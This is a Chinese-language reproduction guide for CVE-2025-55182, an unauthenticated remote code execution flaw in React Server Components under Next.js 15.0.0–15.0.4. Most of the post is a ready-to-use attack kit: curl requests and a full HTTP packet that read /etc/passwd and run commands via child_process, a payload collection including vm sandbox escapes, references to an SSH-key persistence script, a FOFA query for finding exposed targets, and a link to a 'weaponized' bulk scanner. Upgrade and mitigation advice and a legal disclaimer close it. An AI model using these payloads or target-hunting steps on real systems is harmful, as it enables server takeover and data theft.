Next.js 15.0.0 ~ 15.0.4 中 React Server Components(RSC)存在严重原型链污染漏洞,可导致未认证远程代码执行(RCE)。本文提供完整复现流程、Payload 合集、批量验证脚本以及企业级防护建议。
漏洞概述
漏洞摘要:
Next.js 15 系列(15.0.0 - 15.0.4)默认启用的 React Server Components 在处理 $ACTION_* 参数时未正确过滤原型链污染,导致攻击者可通过精心构造的 multipart/form-data 请求直接或间接调用 Node.js 危险内置模块(如 child_process、vm、fs),实现未认证远程代码执行。
2025 年 12 月 3 日,React 官方已发布修复版本 react-server-dom-webpack@19.2.0 与 Next.js 15.0.5。
漏洞环境
(说明:使用官方公开 PoC 环境,Node.js ≥ 18)
![[Pasted image 20251204145712.png]]
PoC(来源与使用)
官方 PoC 仓库(强烈推荐 star):
https://github.com/ejpir/CVE-2025-55182-poc/
本地一键搭建命令:
git clone https://github.com/ejpir/CVE-2025-55182-poc.git
cd CVE-2025-55182-poc
npm install
node --conditions react-server --conditions webpack src/server.js
默认监听 http://localhost:3002
![[Pasted image 20251204145921.png]]
实验准备(完整复现步骤)
安全警告:以下所有操作仅限授权测试环境或虚拟机内进行,禁止用于任何未授权目标。
1. 环境启动(见上)
2. 本地验证(官方提供三种脚本)
# ① 通过 vm 模块执行任意代码
node exploit-rce-v4.js
# ② 测试全部 gadget(vm、child_process、fs)
node exploit-all-gadgets.js
# ③ 持久化植入 SSH 公钥(极度危险)
node exploit-persistence.js
![[Pasted image 20251204150558.png]]
3. 远程验证(curl 方式)
任意文件读取
curl -X POST http://target:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
![[屏幕截图 2025-12-04 150859.png]]
直接 RCE(whoami)
curl -X POST http://target:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
![[屏幕截图 2025-12-04 150931.png]]
完整数据包示例(Burp 复制粘贴即可用)
POST /formaction HTTP/1.1
Host: target:3002
Content-Type: multipart/form-data; boundary=------------------------f3c2dbe7617e6475
--------------------------f3c2dbe7617e6475
Content-Disposition: form-data; name="$ACTION_REF_0"
--------------------------f3c2dbe7617e6475
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"child_process#execSync", "bound": ["whoami"] }
--------------------------f3c2dbe7617e6475--
终极 Payload 合集(本工具已全部内置)
{"id":"child_process#execSync", "bound": ["whoami"] }
{"id":"fs#readFileSync", "bound": ["/etc/passwd","utf8"] }
{"id":"fs#writeFileSync", "bound": ["/tmp/pwned.txt","CVE-2025-55182"] }
{"id":"vm#runInThisContext", "bound": ["process.mainModule.require(\"child_process\").execSync(\"id\").toString()"]}
{"id":"vm#runInNewContext", "bound": ["this.constructor.constructor(\"return process\")().mainModule.require(\"child_process\").execSync(\"whoami\").toString()"]}
FOFA 快速定位资产(推荐语法)
(body="react.production.min.js" || body="React.createElement(") && (app="React Router" || app="React.js")
武器化批量验证脚本(带响应时间 + 多 Payload 自动轮询)
https://github.com/heiheishushu/rsc_detect_CVE-2025-55182/blob/main/react_server_component_detect.py
漏洞影响范围总结
| 组件/框架 | 受影响版本 | 已修复版本 | 备注 |
|---|---|---|---|
| react-server-dom-webpack | < 19.2.0 | ≥ 19.2.0 | React Server Components 核心包(webpack) |
| react-server-dom-turbopack | < 19.2.0 | ≥ 19.2.0 | React Server Components 核心包(turbopack) |
| Next.js | 15.0.0 ∼ 15.0.4 | ≥ 15.0.5 | 所有开启 App Router 的项目默认受影响 |
紧急防护建议(立即执行)
1. 立即升级(最有效手段)
# Next.js 项目
npm install next@latest # 自动升级到最新稳定版(≥15.0.5)
# 或指定版本
npm install next@15.0.5
# 手动升级底层包
npm install react-server-dom-webpack@19.2.0 react-server-dom-turbopack@19.2.0
2. 临时缓解措施(升级前)
- 在反向代理(Nginx/Traefik)层拦截包含
$ACTION_且包含child_process、vm、__proto__等关键词的请求 - 限制 Node.js 进程权限,使用非 root 用户运行
- 通过 webpack externals 排除危险模块打包进服务器代码
3. 长期防御建议
- 输入校验:严格过滤所有
$ACTION_相关参数 - 最小权限原则运行 Node.js 服务
- 开启 Node.js
--disable-proto相关实验性标志(需评估兼容性)
参考与扩展阅读
- 官方 PoC 仓库:https://github.com/ejpir/CVE-2025-55182-poc/
- 批量检测脚本:
https://github.com/heiheishushu/rsc_detect_CVE-2025-55182
https://github.com/hzhsec/cve_2025_55182_test - 详细分析参考:https://blog.csdn.net/qq_62275604/article/details/155561777
免责声明
本文档及相关脚本仅用于授权的安全测试、红队演练与学术研究。
禁止对任何未经明确授权的系统进行扫描或利用。
一切违法行为与作者及工具发布者无关,使用者需自行承担全部法律责任。
安全研究,贵在责任。
请在法律与道德框架内使用技术,共同维护网络空间安全。